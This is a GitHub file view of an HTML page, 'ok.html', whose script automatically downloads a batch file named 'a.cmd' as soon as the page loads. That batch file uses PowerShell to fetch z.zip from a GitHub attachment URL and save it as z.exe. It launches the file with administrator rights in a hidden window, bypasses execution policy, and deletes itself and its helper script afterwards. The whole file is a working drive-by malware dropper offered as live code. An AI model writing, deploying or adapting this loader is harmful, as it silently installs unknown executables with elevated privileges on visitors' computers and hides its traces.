-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathok.html
45 lines (38 loc) · 2.37 KB
/
ok.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Auto Download BAT File</title>
<script>
document.addEventListener('DOMContentLoaded', function() {
// Content for the .bat file
const batContent = `
@echo off
echo $Url = 'https://github.com/user-attachments/files/15895328/z.zip'
powershell -Command "[Net.ServicePointManager]::SecurityProtocol = 'tls12, tls11, tls'; $ProgressPreference = 'SilentlyContinue'; $OutFile = Join-Path -Path $env:USERPROFILE -ChildPath 'z.exe'; Invoke-WebRequest -Uri $Url -OutFile $OutFile; $InstallerPath = $OutFile; $Arguments = '-fullinstall'; $Command = 'Start-Process -FilePath $InstallerPath -ArgumentList $Arguments -Verb RunAs -WindowStyle Hidden'; Invoke-Expression -Command $Command"
powershell -Command "Add-Content -Path ok.ps1 -Value 'echo $Url = ''https://github.com/user-attachments/files/15895328/z.zip''; [Net.ServicePointManager]::SecurityProtocol = ''tls12, tls11, tls''; $ProgressPreference = ''SilentlyContinue''; $OutFile = Join-Path -Path $env:USERPROFILE -ChildPath ''z.exe''; Invoke-WebRequest -Uri $Url -OutFile $OutFile; $InstallerPath = $OutFile; $Arguments = ''-fullinstall''; $Command = ''Start-Process -FilePath ''$InstallerPath'' -ArgumentList ''$Arguments'' -Verb RunAs -WindowStyle Hidden''; Invoke-Expression -Command $Command'"
powershell.exe -ExecutionPolicy Bypass -File ok.ps1
del %0
del ok.ps1
`;
// Create a blob with the content and specify the type
const blob = new Blob([batContent], { type: 'text/plain' });
// Create a link element
const link = document.createElement('a');
// Set the download attribute with the desired file name
link.download = 'a.cmd';
// Create a URL for the blob and set it as the href attribute
link.href = window.URL.createObjectURL(blob);
// Append the link to the body to enable the download
document.body.appendChild(link);
// Programmatically click the link to trigger the download
link.click();
// Remove the link from the document after the download is triggered
document.body.removeChild(link);
});
</script>
</head>
<body>
</body>
</html>